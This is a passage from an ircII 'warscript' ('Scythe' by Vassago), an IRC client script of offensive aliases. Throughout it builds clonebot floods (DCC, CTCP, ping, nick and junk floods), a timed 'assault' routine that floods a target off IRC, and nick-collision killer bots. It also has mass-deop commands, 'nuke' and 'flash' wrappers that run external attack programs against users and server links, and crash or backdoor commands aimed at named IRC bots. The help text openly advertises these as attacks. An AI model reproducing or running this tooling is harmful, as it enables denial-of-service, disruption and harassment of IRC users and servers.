$rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) clonesend $0 PRIVMSG $2 :DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9)DCC CHAT $rand(9999) $rand(9) $rand(9) $rand(9) } if ([$1] == [CTCPFLOOD]) {/repeatcmd 15 clonesend $0 PRIVMSG $2 :CLIENTINFOCLIENTINFO} if ([$1] == [PINGFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :PINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPINGPING} if ([$1] == [VERSIONFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :VERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSIONVERSION} if ([$1] == [NICKFLOOD]) { EVAL ^assign TRASH1 $randcrap(2) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonesend $0 NICK $TRASH1$rand(9999999) EVAL clonenick $0 $TRASH1$rand(9999999) ^assign -TRASH1 } if ([$1] == [BOTKILL]) {/repeatcmd 20 clonesend $0 PRIVMSG $2 :help} if ([$1] == [FINGERFLOOD]) {/repeatcmd 4 clonesend $0 PRIVMSG $2 :FINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGERFINGER} if ([$1] == [RAWIRC]) {/clonesend $0 $2-} if ([$1] == [FLOOD]) {/repeatcmd 12 clonesend $0 PRIVMSG $2 :$3-} if ([$1] == [RANDNICK]) {/clonenick $0 $randcrap(9)} if ([$1] == [SEDFLOOD]) {/repeatcmd 5 clonesend $0 PRIVMSG $2 :SEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSEDSED} if ([$1] == [JUNKFLOOD]) { EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR EVAL ^timer $rand(25) ^clonesend $0 NOTICE $2 :$JUNKSTR } if ([$1] == [IDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :iDCC HELP} if ([$1] == [GDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :GDCC SEND #1} if ([$1] == [XDCCFLOOD]) {/repeatcmd 17 clonesend $0 PRIVMSG $2 :XDCC HELP} } alias clone { if ([$0]) { if ([$0] == [ALL]) { if ([$1] != [NICK]) { foreach CLONES XY {/clonedoaction $XY $1-} } {/cecho Error: All the bots can't change their nick to the same thing, use nickprefix.} } { if ([$0] != [HELP]) {/clonedoaction $0 $1-} {/clone} } } {/cchelp} } alias cchelp { sxecho +------------------+ Scythe Clonebot Controller +----------------+ sxecho Usage: /clone , where command is: sxecho join [] - Join a channel \(or current\) sxecho leave [] - Leave a channel \(or current\) sxecho mode - Do a mode change sxecho msg - Private message sxecho say - Message to current channel sxecho me - Do an action in sxecho nick - Change nickname sxecho nickprefix - Change nick using prefix system sxecho randnick - Change to a random nickname sxecho tsunami - Big, annoying flood sxecho dccflood - Tons of DCC CHAT requests sxecho ctcpflood - CTCP CLIENTINFO flood sxecho pingflood - CTCP PING flood sxecho versionflood - CTCP VERSION flood sxecho nickflood - Rapid trash nick changing sxecho botkill - Flood of 'help' sxecho fingerflood - CTCP FINGER flood sxecho rawirc - Send directly to server sxecho flood - Flood with /pause2 sxecho sedflood - [ENCRYPTED MESSAGE] flood sxecho idccflood/xdccflood/gdccflood - DCC request floods sxecho ctcp - Send CTCP sxecho invite - Invite to sxecho dcctsunami - DCC tsunami sxecho pongflood - PONG tsunami sxecho who [<#channel>] - WHO list, only works with spy sxecho level 'MISC' set. sxecho junkflood - Flood of ASCII trash sxecho Use /clonespy for setting spy levels. /clonespy for help. sxecho +-----------------------------------------------------------------+ } alias clonebots { if ([$0]) { if (match($0 STATUS CLONE KILL WHOIS WINDOW)) { if ([$0] == [WHOIS]) {/clonewhois $1} if ([$0] == [STATUS]) { ^assign CLONESON NO foreach CLONES XX { ^assign CLONESON YES cecho Clone #$XX - Socket:$CLONESOCKET[$XX] Server:$CLONESERV[$XX] Nick:$CLONENICKS[$XX] } if ([$CLONESON] == [NO]) {/cecho There are no clonebots online.} ^assign -CLONESON } if ([$0] == [CLONE]) {/EVAL repeatcmd $1 newclone $2 $3 $4-} if ([$0] == [WINDOW]) {/clone_window} if ([$0] == [KILL]) { if ([$1] == [ALL]) { foreach CLONES XZ {/killclone $XZ} @ NUMCLONES = 0 ^assign SPYSTATE OFF cecho All clonebots have been disconnected. } {/killclone $1} } } {/clonhelp} } {/clonhelp} } alias opclones { ^assign OPPEDACLONE NO foreach CLONENICKS XX { EVAL ^assign CNIX1 $CLONENICKS[$XX] ${CNIX1} } ^on ^who "*" { if ((match($1 $CNIX1))&&(!rmatch($2 *@*))) { EVAL ^assign CNIX2 $1 ${CNIX2} ^assign OPPEDACLONE YES } } ^who $C wait if ([$OPPEDACLONE] != [NO]) {/op $CNIX2} {/cecho There are no unopped clonebots on $C\.} ^on who - "*" ^assign -CNIX1 ^assign -CNIX2 ^assign -OPPEDACLONE } ### Collision Killer Bots (by Vassago and CKeeper) alias collbots {/colbots $0-} alias collbots.killons {/colbots.killons $0-} alias collbots.make {/colbots.make $0-} alias colbots {/cbots $0-} alias colbots.killons { EVAL ^on #dcc_raw 65 - "$0 $1 D % 433 *Nickname is already*" EVAL ^on #dcc_raw 65 - "$0 $1 C*" } alias colbots.make { ^set display off EVAL ^assign CBSOCKET $connect($0 $1) ^set display on if (CBSOCKET > 0) { ^assign COLLBOTS[$CBSOCKET] $2 EVAL ^on #^dcc_raw 65 "$CBSOCKET $0 D % 433 *Nickname is already*" { EVAL ^timer 2 //^dcc close raw $0 ^colbots.killons $0 $1 sxecho Collidebot $COLLBOTS[$0]: nickname already in use, disconnected ^assign -COLLBOTS[$0] ^assign -CBSERV[$0] } EVAL ^on #^dcc_raw 65 "$CBSOCKET $0 C*" { ^colbots.killons $0 $1 sxecho Collidebot $COLLBOTS[$0] has been disconnected by server $1. ^assign -COLLBOTS[$0] ^assign -CBSERV[$0] } //^dcc raw $CBSOCKET $0 NICK $2 //^dcc raw $CBSOCKET $0 USER $randcrap(8) $HOSTROOT $0 :$CJUNKSTR sxecho Collidebot $2 created on server $0 \(Socket: $CBSOCKET\) ^assign CBSERV[$CBSOCKET] $0 ^assign -CBSOCKET } {/sxecho Error connecting Collidebot $2 to server $0.} } alias colbots.help { sxecho +-----------------+ Scythe Nick Collision Bots Help +------------------+ sxecho Usage: /CBOTS , where is: sxecho make [] - Create a single Collidebot. sxecho kill [] - Kill Collidebot or ALL. sxecho list - List Collidebots online. sxecho dupeops [] - Like dupe, but only gets ops. sxecho newnick - Change a Collidebot's nick. sxecho dupe [] - Duplicate all nicks on your sxecho channel but you on . sxecho The following two commands are used in conjunction: sxecho find - Finds lagged servers and adds sxecho them to your collide server list, sxecho which is used in DESTROY. sxecho destroy [] - Attempts to collision kill sxecho . If is specified sxecho it will use that server. If not, sxecho CBOTS will create a collision bot sxecho on every server in the collide sxecho server list. sxecho +----------------------------------------------------------------------+ sxecho If is left out with any of these, the default is 6667. If sxecho is left out with kill, it disconnects all your Collidebots. sxecho +----------------------------------------------------------------------+ } alias cbots { if (match($0 MAKE FIND DESTROY KILL DUPE DUPEOPS LIST NEWNICK)) { if ([$0] == [NEWNICK]) { if ([$2]) { ^assign CHANGEDONE N foreach COLLBOTS XX { if ([$COLLBOTS[$XX]] == [$1]) { //^dcc raw $XX $CBSERV[$XX] NICK $2 ^assign COLLBOTS[$XX] $2 ^assign CHANGEDONE Y } } if ([$CHANGEDONE] == [N]) {/sxecho $1: no Collidebots match that nick} ^assign -CHANGEDONE } {/sxecho Usage: /CBOTS newnick } } if ([$0] == [MAKE]) { if ([$2]) { if ([$3] > 0) {^assign MPORT $3} {^assign MPORT 6667} ^colbots.make $2 $MPORT $1 ^assign -MPORT } {/sxecho Usage: /CBOTS make []} } if ([$0] == [KILL]) { if ([$1]) { ^assign KILLEDONE N foreach COLLBOTS XX { if ([$COLLBOTS[$XX]] == [$1]) { //^dcc close raw $XX ^colbots.killons $XX $CBSERV[$XX] sxecho Collidebot $COLLBOTS[$XX] disconnected. ^assign -COLLBOTS[$XX] ^assign -CBSERV[$XX] ^assign KILLEDONE Y } } if ([$KILLEDONE] == [N]) {/sxecho $1: No Collidebots match that nick.} ^assign -KILLEDONE } { foreach COLLBOTS XY {^cbots kill $COLLBOTS[$XY]} sxecho All Collidebots have been disconnected. } } if ([$0] == [DUPE]) { if ([$1]) {/_dodupe} {/sxecho Usage: /CBOTS dupe [].} } if ([$0] == [DUPEOPS]) { if ([$1]) { ^on ^who "*" { if (([$1] != [$N])&&([$1] != [$GBNICK])) { ^assign KILLNIX[$rand(9999999)] $1 } } sxecho Duplicating all channel ops on $C via server $1. ^who -chops * wait ^on who - "*" foreach KILLNIX XT { ^cbots make $KILLNIX[$XT] $1- ^assign -KILLNIX[$XT] } } {/sxecho Usage: /CBOTS dupeops []} } if ([$0]==[LIST]) {/_listbots} if ([$0]==[FIND]) {/_findservs} if ([$0]==[DESTROY]) { ^assign -destroyserv ^assign destroyport 6667 if ([$3]) { ^assign destroyserv $2 ^assign destroyport $3- } if ([$2]) {^assign destroyserv $2} if ([$1]) { if ([$SERV[0]]==[]) {/_getservs} if ([$destroyserv]==[]) { sxecho Creating collide bots for $1 on $cservnum servers, please wait... _botsmake $1- } { sxecho Creating collide bot on server $2-, please wait... _botsmake2 } } {/sxecho Usage: /CBOTS DESTROY []} } } {/colbots.help} } alias _getservs { purge serv @ cservnum = 0 foreach CSERV XX { ^assign serv[$XX] $CSERV[$XX] @ cservnum = cservnum + 1 } } alias _botsmake { foreach serv XX { sxecho Connecting to server $serv[$XX]\... ^assign servp[$XX] $connect($serv[$XX] 6667) if (servp[$XX] > 0) { ^on ^dcc_raw "% % D % 433 % % :*" {^timer 5 //^dcc raw $0 $1 NICK $6} //^dcc raw $servp[$XX] $serv[$XX] NICK $1 //^dcc raw $servp[$XX] $serv[$XX] USER $tolower($randcrap(9999999)) # # :*Unknown* EVAL ^timer 60 _closeraw $servp[$XX] $serv[$XX] } } } alias _botsmake2 { sxecho Connecting to server $destroyserv\... ^assign dserv $connect($destroyserv $destroyport) ^on ^dcc_raw "% % D % 433 % % :*" {^timer 5 //^dcc raw $0 $1 NICK $6} //^dcc raw $dserv $destroyserv NICK $1 //^dcc raw $dserv $destroyserv USER $tolower($randcrap(9999999)) # # :*Unknown* EVAL ^timer 60 _closeraw $dserv $destroyserv } alias _dodupe { ^on ^who "*" { if ([$1] != [$N]) {^assign KILLNIX[$rand(9999999)] $1} } sxecho Duplicating all nicknames on $C on server $1. ^who * wait ^on who - "*" foreach KILLNIX XT { ^cbots make $KILLNIX[$XT] $1- ^assign -KILLNIX[$XT] } } alias _listbots { ^assign IHAVEBOTZ N foreach COLLBOTS XX { sxecho $COLLBOTS[$XX] on server $CBSERV[$XX] \(Socket: $XX\) ^assign IHAVEBOTZ Y } if ([$IHAVEBOTZ] == [N]) {/sxecho You have no Collidebots online.} ^assign -IHAVEBOTZ } alias _findservs { sxecho Finding lagged servers and adding them to your DESTROY list... purge serv _getservs ^on ^364 "*" if (([$3]>[9])&&(!rmatch($1 ?.*))) { sxecho Added server $1 to DESTROY list of $cservnum\ servers. ^assign serv[$cservnum] $1 @ cservnum = cservnum + 1 } //links wait -CMD ^on 364 - "*" } alias _closeraw { //^dcc raw $0 $1 QUIT :Leaving ^on dcc_raw - "% % D % 433 % % :*" sxecho Connection closed \(Raw socket $0 to $1\) } ### Clonebot Assault Program alias assault { if ([$0]) { /sxecho Beginning 5 minute clonebot assault sequence on $0. @ numtouse = [$"[S/X] Number of clonebots to use : "] if ([$numtouse]!=[]) {/sxecho Using $numtouse clonebots\.} { @ numtouse = 3 sxecho Using default number of $numtouse clonebots. } @ assaultserver = [$"[S/X] Server to use : "] if ([$assaultserver]!=[]) {/sxecho Using server $assaultserver for the assault.} {/sxecho Clonebots will be spawned on random servers. @ assaultserver = [random]} @ assaultdesc = [$"[S/X] IRCNAME for the bots : "] if ([$assaultdesc]!=[]) {/sxecho Using IRCNAME $assaultdesc for the clonebots.} @ defaultnick = [$"[S/X] Default nick prefix for the bots : "] if ([$defaultnick]!=[]) {/sxecho Using $defaultnick for the clonebots.} { ^assign defaultnick RANDOM /sxecho Using random junk nick for the clonebots. } /sxecho Assault program engaged on $0\, please wait... EVAL /clonebots clone $numtouse $assaultserver $defaultnick $assaultdesc wait if (rmatch($0 #*)) {/clone ALL join $0;wait} /sxecho Engaging flood sequence on $0. /clone all junkflood $0 ^timer 50 /clone all sedflood $0 ^timer 75 /clone all multiflood $0 ^timer 100 /clone all versionflood $0 ^timer 125 /clone all randnick ^timer 150 /clone all pingflood $0 ^timer 175 /clone all randnick ^timer 200 /clone all tsunami $0 ^timer 240 /clone all tsunami $0 ^timer 300 /clonebots kill all /sleep 1 /sxecho Assault program on $0 in progress. ALL clonebots will be /sxecho automatically disconnected in five minutes. } {/sxecho Usage: /ASSAULT <#channel/nick>.} } ### Megadeop with Nick Change alias nickmdop { EVAL ^assign OLDNICK $N ^on ^who "*" { if ([$1]!=[$N]) { if (rmatch($2 *@*)) { ^assign mdopz $1 ${mdopz} } } } ^who * /wait /listmdopnicks $mdopz ^assign -mdopz EVAL //nick $OLDNICK ^assign -OLDNICK ^on who - "*" } alias listmdopnicks { quote MODE $C -oooo $0 $1 $2 $3 quote NICK _$rand(99999999) if ([$4]) {/listmdopnicks $4-} } ### Flash & Nuke Commands alias flash { if ([$0]) { Userhost $0 -CMD if ([$3]) { if ([$4]!=[]) { ^exec $flash_pgm $strip(#;~ $3)@$4 & ^exec $flash_pgm $strip(#;~ $3)@$4 & sxecho Flashed $0 \($strip(#;~ $3)@$4\) } {/sxecho I can't find $0 on IRC.} } } {/sxecho Usage: /FLASH .} } alias mflash { if ([$0]) { Userhost $0 -CMD if ([$3]) { if ([$4]!=[]) { ^exec $mflash_pgm cs.bu.edu loser@kiss.my.ass.edu $strip(;#~ $3)@$4 sxecho Mail flashed $0 \($strip(;#~ $3)@$4\). } {/sxecho I can't find $0 on IRC.} } } {/sxecho Usage: /MFLASH .} } alias listmassflash { ^exec -name flash $flash_pgm $1 wait %flash sxecho I have flashed $0 \($1\) if ([$2]) {^listmassflash $2-} } alias massflash { ^on ^who "*" { if ([$1]!=[$N]) {^assign FLASHLOSERS $1 $strip(;#~ $3)@$4 ${FLASHLOSERS}} } ^who $C wait -CMD nextflash } alias nextflash { ^on who - "*" ^listmassflash $FLASHLOSERS ^assign -FLASHLOSERS } alias nuke { if ([$0]) { ^on ^311 "*" {^assign ndomain $3} ^on ^312 "*" {^assign nserver $1} ^on ^319 "*" # ^whois $0 wait EVAL ^exec $nuke_pgm $ndomain $nserver unreach & EVAL ^exec $nuke_pgm $nserver $ndomain unreach & /sxecho Sent nuke for $0 at $ndomain on server $nserver\. ^on 311 - "*" ^on 312 - "*" ^on 319 - "*" ^assign -ndomain ^assign -nserver } {/sxecho Usage: /NUKE . You must have root access to use.} } # Server Nuke (by Vassago) alias snuke { if ([$0]) { ^assign nserver1 $0 ^on ^364 "*" { if (rmatch($2 ?.*)) { sxecho Invalid server name $2. sxecho Enter a valid server name that matches that mask: ^assign nukeprompt $word(0 $"$2 is also: ") ^assign nserver2 $nukeprompt ^assign -nukeprompt } {^assign nserver2 $2} } //links $0 wait -CMD # if ([$nserver2] != []) { EVAL ^exec $nuke_pgm $nserver1 $nserver2 unreach & EVAL ^exec $nuke_pgm $nserver2 $nserver1 unreach & wait EVAL ^exec $nuke_pgm $nserver1 $nserver2 unreach & EVAL ^exec $nuke_pgm $nserver2 $nserver1 unreach & } {/sxecho Error: uplink to $nserver1\ not found.} sxecho Sent nuke to $nserver1\ and $nserver2\. ^on 364 - "*" ^assign -nserver1 ^assign -nserver2 } { /sxecho Usage: /SNUKE . You cannot be on the same server /sxecho as the server you are trying to nuke! This command will /sxecho double-nuke the server. You must have root access to use. } } ### Yet Another Flood Alias alias flood { if ([$0]) { if ([$1]) {^assign SR $1} {^assign SR $S} if ([$2]) {^assign PT $2} {^assign PT 6667} ^set input_prompt Flooding $0... ^set display off sxecho Creating connections... \(using server ${SR}, port $PT\) EVAL ^assign FB[0] $connect($SR $PT) EVAL ^assign FB[1] $connect($SR $PT) EVAL ^assign FB[2] $connect($SR $PT) ^set display on if ((FB[0] > 0)&&(FB[2] > 0)) { sxecho Signing on... ^dcc raw $FB[0] $SR NICK $randcrap(9) ^dcc raw $FB[1] $SR NICK $randcrap(9) ^dcc raw $FB[2] $SR NICK $randcrap(9) ^dcc raw $FB[0] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR ^dcc raw $FB[1] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR ^dcc raw $FB[2] $SR USER $randcrap(8) $HOSTROOT $SR :$CJUNKSTR sleep 2 sxecho Flooding... (connections will die when flooding is finished). sleep 3 if (ischannel($0)) { ^dcc raw $FB[0] $SR JOIN $0 ^dcc raw $FB[1] $SR JOIN $0 ^dcc raw $FB[2] $SR JOIN $0 } foreach FB XX { EVAL ^timer 3 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 6 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 9 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 12 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR EVAL ^timer 16 ^dcc raw $FB[$XX] $SR NOTICE $0 :$JUNKSTR } EVAL ^timer 20 ^dcc raw $FB[0] $SR QUIT :$TSU EVAL ^timer 20 ^dcc raw $FB[1] $SR QUIT :$TSU EVAL ^timer 20 ^dcc raw $FB[2] $SR QUIT :$TSU } {/sxecho Error connecting to $SR\.} ^assign -FB[0] ^assign -FB[1] ^assign -FB[2] ^assign -SR ^assign -PT ^set -input_prompt } {/sxecho Usage: /FLOOD [] []} } ### BACKDOOR/BOT KILLER Add Ons (by Maeglar, Modified by Vassago) # Thanks go to the Knights of IRC for these interesting aliases. alias wskill { sxecho Sending WSIRC Kill to Channel $C\. //ctcp $C a } alias vkill1 { if ([$0]) { sxecho Trying to SIGSEV VladBot $0, please wait... //^dcc chat $0 //^msg $0 note create public time to die //^msg $0 note delline //^msg $0 note delline 8 if ([$1]) {/vkill1 $1-} } {/sxecho Usage: /VKILL1 .} } ALIAS VKILL2 { if ([$0]) { //dcc chat $0 //msg $0 note create public 4 m-eye frendz //msg $0 note delline 2 } {/sxecho Usage: /VKILL2 .} } alias vkill3 { if ([$0]) { //dcc chat $0 wait dccflood $0 ^timer 15 dccflood $0 ^timer 30 dccflood $0 } {/sxecho Usage: /VKILL3 .} } alias com1 { if ([$0]) { //^msg $0 dcc sxecho Trying to SIGSEV ComBot $0 with the DC bug... if ([$1]) {/com1 $1-} } {/sxecho Usage: /COM1 .} } alias com2 { if ([$0]) { //^msg $0 bleaht33h33bleah quit :SIGSEV - Fuck I'm a stupid dickhead like my owner. sxecho Trying to backdoor ComBot $0 to quit... if ([$1]) {/com2 $1-} } {/sxecho Usage: /COM2 .} } alias com3 { if ([$0]) { //^msg $0 seen %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% sxecho Trying to SIGSEV ComBot $0 with the seen bug... if ([$1]) {/com3 $1-} } {/sxecho Usage: /COM3 .} } alias cc { if ([$0]) { //^msg $0  sxecho Trying to get ComBot command character from $0. if ([$1]) {/cc $1-} } {/sxecho Usage: /CC .} } alias hc { if ([$0]) { //^ctcp $0 cmdchar sxecho Trying to obtain HackBot command character from $0... if ([$1]) {/hc $1-} } {/sxecho Usage: /HC .} } alias dweeb { if ([$0]) { //^ctcp $0 ooook sxecho Trying to kill $0 with the DweeBot backdoor... if ([$1]) {/dweeb $1-} } {/sxecho Usage: /DWEEB .} } alias hackkill { if ([$2]) { sxecho Attempting to kill the hackbot $0\... sxecho If you have no DCC CHAT connection to $0\ this will not work. //^msg =$0 $1\stats $2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2$2 } { sxecho USAGE: /hackkill sxecho You can get the command character by typing /HC . sxecho You ALSO need to have an active DCC CHAT with . } } alias hackkill2 { if ([$0]) { sxecho Trying to SIGSEV HackBot $0\... //ctcp $0 ACTION } { sxecho Sending SIGSEV for HackBots to $C\... //ctcp $C ACTION } } ### WAR Help Commands alias pause2 { ^assign PAUSETEMP $"-Enter to Continue-" ^assign -PAUSETEMP } alias WARHELP { echo +----------------------------------------------------------------------+ echo | - + Scythe IRC Warscript by Vassago - Command HELP + - | echo +----------------------------------------------------------------------+ echo | /NICKMDOP - Does a mega deop with nick change, deops by 4. | echo | /K(name) - Sets a channel key bomb: /kdie, /kfont, /kinvert, | echo | /kinvert, /ksz, /kcls, /kfire, /kreset, /ksatan, /ktsunami. | echo | /CBOTS HELP - Gives you an extended help on the Serpent script | echo | clonebots collision killer. This killer uses script clonebots | echo | much like Vassago's Serpent Collision Script v2.12 did. | echo | /KILLHOST (server) - Changes the collision killer host to . | echo | /CLONE (bot # or ALL) (action) - Tells your clonebots to do .| echo | Type /CLONE HELP to view the examples and lists of actions. | echo | /CLONEBOTS HELP - Gives you an extended help on Clonebots & commands.| echo | /CLONESPY HELP - Gives you an extended help on Clonebots spy Levels. | echo | /OPCLONES - Ops all of YOUR clonebots on your current channel. | echo | /CK - Kills (disconnects) all clonebots. | echo | /ASSAULT (nick/#channel) - Starts an assault program, a really nasty | echo | one, on . This attempts to flood them off IRC. | echo | /TSUNAMI (nick/channel) - Dumps the TSUNAMI string to .| echo | /NICKFLOOD (#) - Does a random nick flood with numbers, changes <#>. | /pause2 echo | /DCCFLOOD (nick) - Sends a really nasty DCC CHAT flood to . | echo | /DCCBOMB (nick) - Sends a DCC autoget bomb to . | echo | /DCCTSUNAMI (nick) - Tsunamis with DCC SENDs. | echo | /PINGFLOOD (nick/channel) - Ping floods . | echo | /PONGFLOOD (nick) - Pong floods . | echo | /TOOLZBOMB (nick/channel) - CTCP ToolZ floods the person. | echo | /VERFLOOD (nick/channel) - CTCP VER floods the person. | echo | /MULTIFLOOD - Sends them a little of each type of flood. | echo | /SEDFLOOD - Floods with CTCP "SED" (Gives them Encrypted Message). | echo | /CTCPFLOOD (nick/channel) - CTCP CLIENTINFO Floods . | echo | /SERVFLOOD (server) (count) - Floods all umode +s people on .| echo | /FLASH (nick) - Flashes . You must have flash.c compiled | echo | to use. See variables at top of this script. | echo | /MFLASH (nick) - Mail flashes . You must have mflash.c. | echo | /MASSFLASH - Flashes everyone on your current channel. | echo | /NUKE (nick) - Nukes . You must have nuke.c compiled, in your | echo | current directory, and have root access to use this command. | echo | /SNUKE (server) - Nukes . (See above restrictions). | echo | Note: the default filenames, etc. for nuke and flash can be edited | echo | by manually changing the variables at the beginning of the script. | pause2 echo | +--+ CURRENT BACKDOOR ATTEMPTERS +---------------------------------+ | echo | /WSKILL - Kills all WSIRC users on your current channel. | echo | /VKILL1 - Attempts to SIGSEV VladBots. | echo | /VKILL2 - Kills newer vlad versions. | echo | /VKILL3 - Kills 3.01 vlad versions. | echo | /COM1 - Uses ComBot DCC SIGSEV. | echo | /COM2 - Uses ComBot bleaht33h33bleah Kill. | echo | /COM3 - Uses ComBot seen SIGSEV. | echo | /CC - Gets ComBot command character. | echo | /HC - Gets HackBot command character. | echo | /DWEEB - Attempts to Backdoor DweeBots. | echo | /HACKKILL - This will | echo | attempt to kill a HackBot also, but you need a DCC CHAT connection.| echo | /HACKKILL2 - Attempts to SIGSERV HackBots. | echo +----------------------------------------------------------------------+ } assign LOADING LOADING EVAL ^killhost $DEFAULTKILLHOST EVAL //^mode $N +i EVAL $srand($time()) EVAL ^assign JUNKSTR $tolower($encode($encode($encode($randcrap(2)$encode($encode($encode($randcrap(8)))))))) EVAL ^assign CJUNKSTR $randcrap(4) echo [S/X] For the latest versions of all Vassago's scripts you should FTP EVAL echo [S/X] to Vassago's Public Domain IRC site at jcowan.reslife.okstate.edu. echo [S/X] DO NOT use this script unless you get it directly from my FTP site! echo [S/X] SCYTHE IRC Warscript is now loaded. Type /WARHELP for HELP.